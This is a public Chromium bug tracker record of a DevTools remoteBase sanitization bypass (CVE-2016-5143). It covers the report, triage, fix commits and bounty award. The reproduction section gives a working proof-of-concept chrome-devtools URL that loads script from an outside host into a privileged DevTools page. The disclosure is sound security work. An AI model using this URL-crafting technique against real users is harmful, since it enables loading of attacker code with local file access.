New issue
Advanced search Search tips

Issue 619414 link

Starred by 2 users

Issue metadata

Status: Fixed
Owner:
Closed: Jun 2016
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: ----
Pri: 1
Type: Bug-Security



Sign in to add a comment

Security: Devtools has Insuffient sanitization of remoteBase parameter

Reported by gregory....@gmail.com, Jun 12 2016

Issue description

VULNERABILITY DETAILS
Same vulnerability as  Issue 571121 . Fix for that issue is insufficient, as the sanitization process only checks if remoteBase URL starts with "https://chrome-devtools-frontend.appspot.com/". However, the loadScriptsPromise() that loads the remote screencast_module.js, normalizes the URL before fetching the remote JS file. The vulnerability is in the process of normalization. The normalizePath() function (possibly intended only to normalize the path component of a URL by removing ".." and "." components), gets passed an input that contains the host component along with path (ie. full URL excluding scheme). This allows an attacker to remove the "chrome-devtools-frontend.appspot.com" hostname, and replace with a malicious hostname and path.

ie. normalizePath() normalizes "chrome-devtools-frontend.appspot.com/../lock.cmpxchg8b.com/xour2Iab/" to "lock.cmpxchg8b.com/xour2Iab/".

VERSION
Chrome Version: 51.0.2704.84 m [stable]
Operating System: All

REPRODUCTION CASE (PoC for Windows)
1. Navigate to chrome-devtools://devtools/bundled/inspector.html?remoteBase=https://chrome-devtools-frontend.appspot.com/../lock.cmpxchg8b.com/xour2Iab/&remoteFrontend=true
(re-using the Tavis's PoC remoteBase from  Issue 571121 )

2. If a blank screen is show, Please reload the page. This usually happens if DevToolsAPI object is not exposed to the scripts on initial load, but does on refreshes. It can be achieved programmatically by triggering the reload via remote JS [not done in PoC].


 
Cc: rdevlin....@chromium.org mea...@chromium.org
Components: Platform>DevTools>Platform
Labels: Security_Severity-Medium M-53 Security_Impact-Head
Owner: dgozman@chromium.org
Status: Assigned (was: Unconfirmed)
Thanks for the report. I can repro this on Win M51 stable -- it gives a dir listing of C:\ after I reloaded it.

Marking it as medium severity since it's similar to  http://crbug.com/618333 .
Labels: -M-53 M-52
Project Member

Comment 3 by sheriffbot@chromium.org, Jun 14 2016

Labels: -Security_Impact-Head Security_Impact-Beta
Project Member

Comment 4 by sheriffbot@chromium.org, Jun 14 2016

Labels: ReleaseBlock-Stable
Project Member

Comment 5 by sheriffbot@chromium.org, Jun 14 2016

Labels: Pri-1
Isn't the label supposed to be "Security_Impact-Stable" ? Stable channel is indeed affected by this issue [as confirmed in Comment#1].
Labels: -Security_Impact-Beta -ReleaseBlock-Stable Security_Impact-Stable
Didn't verify this personally, but based on the comments here it would seem so.
Project Member

Comment 8 by bugdroid1@chromium.org, Jun 20 2016

The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/554517a4587bfb0071bcd3c7eff6645a0b06d72a

commit 554517a4587bfb0071bcd3c7eff6645a0b06d72a
Author: dgozman <dgozman@chromium.org>
Date: Mon Jun 20 20:33:22 2016

[DevTools] Whitelist remoteFrontendUrl and remoteBase params.

This also fixes loadScriptsPromise to not normalize hostname.

BUG= 619414 , 618333 

Review-Url: https://codereview.chromium.org/2065823004
Cr-Commit-Position: refs/heads/master@{#400768}

[modify] https://crrev.com/554517a4587bfb0071bcd3c7eff6645a0b06d72a/third_party/WebKit/Source/devtools/front_end/Runtime.js
[modify] https://crrev.com/554517a4587bfb0071bcd3c7eff6645a0b06d72a/third_party/WebKit/Source/devtools/front_end/devtools.js

Project Member

Comment 9 by sheriffbot@chromium.org, Jun 27 2016

dgozman: Uh oh! This issue still open and hasn't been updated in the last 14 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Status: Fixed (was: Assigned)
Project Member

Comment 11 by sheriffbot@chromium.org, Jun 29 2016

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
FYI - One more Attack vector (besides malicious extension; copy-pasting URLs) is by sending a crafted chrome-devtools link via "Google Tone" extension. The extension allows sending URLs of any schemes to nearby machines.
Labels: reward-topanel
Labels: -M-52 M-53
Project Member

Comment 15 by sheriffbot@chromium.org, Jul 21 2016

Labels: Merge-Request-53
Before we approve merge to M53, Could you please confirm whether this change is baked/verified in Canary and safe to merge?

Also is this change applicable to all OS or any specific OS?
Cc: awhalley@chromium.org
dgozman@, please reply to comment #16.

+awhalley@ whether to take this merge in for M53 Dev release on Tuesday (07/26).
Labels: -Merge-Request-53
The fix has landed as r400768, which is way before M53 was branched (r403382).
Labels: Merge-Request-52
This is already in M53.  It's also baked enough for M52 merge.
Labels: -Merge-Request-52 Merge-Approved-52
Approving merge to M52 branch 2743 based on comment #19. Please merge ASAP (latest by 5:00 PM PDT Monday) so we can take it for next week M52 Stable release. Thank you.
Project Member

Comment 21 by bugdroid1@chromium.org, Jul 23 2016

Labels: -merge-approved-52 merge-merged-2743
The following revision refers to this bug:
  https://chromium.googlesource.com/chromium/src.git/+/2f0798392134f38c8c68a7911ab622dc128775e3

commit 2f0798392134f38c8c68a7911ab622dc128775e3
Author: Dmitry Gozman <dgozman@chromium.org>
Date: Sat Jul 23 00:31:46 2016

Merge to 2743 "[DevTools] Whitelist remoteFrontendUrl and remoteBase params."
> [DevTools] Whitelist remoteFrontendUrl and remoteBase params.
>
> This also fixes loadScriptsPromise to not normalize hostname.
>
> BUG= 619414 , 618333 
>
> Review-Url: https://codereview.chromium.org/2065823004
> Cr-Commit-Position: refs/heads/master@{#400768}
(cherry picked from commit 554517a4587bfb0071bcd3c7eff6645a0b06d72a)
TBR=pfeldman

Review URL: https://codereview.chromium.org/2179623002 .

Cr-Commit-Position: refs/branch-heads/2743@{#694}
Cr-Branched-From: 2b3ae3b8090361f8af5a611712fc1a5ab2de53cb-refs/heads/master@{#394939}

[modify] https://crrev.com/2f0798392134f38c8c68a7911ab622dc128775e3/third_party/WebKit/Source/devtools/front_end/Runtime.js
[modify] https://crrev.com/2f0798392134f38c8c68a7911ab622dc128775e3/third_party/WebKit/Source/devtools/front_end/devtools.js

Labels: Release-1-M52
Labels: -reward-topanel reward-unpaid reward-1000
And $1,000 for this one too.
Labels: CVE-2016-5143
Labels: -reward-unpaid reward-inprocess
Labels: reward-topanel
Labels: -reward-topanel
Labels: -Reward-1000 reward-2000
Updating reward amount.
Project Member

Comment 30 by sheriffbot@chromium.org, Oct 5 2016

Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: CVE_description-submitted

Sign in to add a comment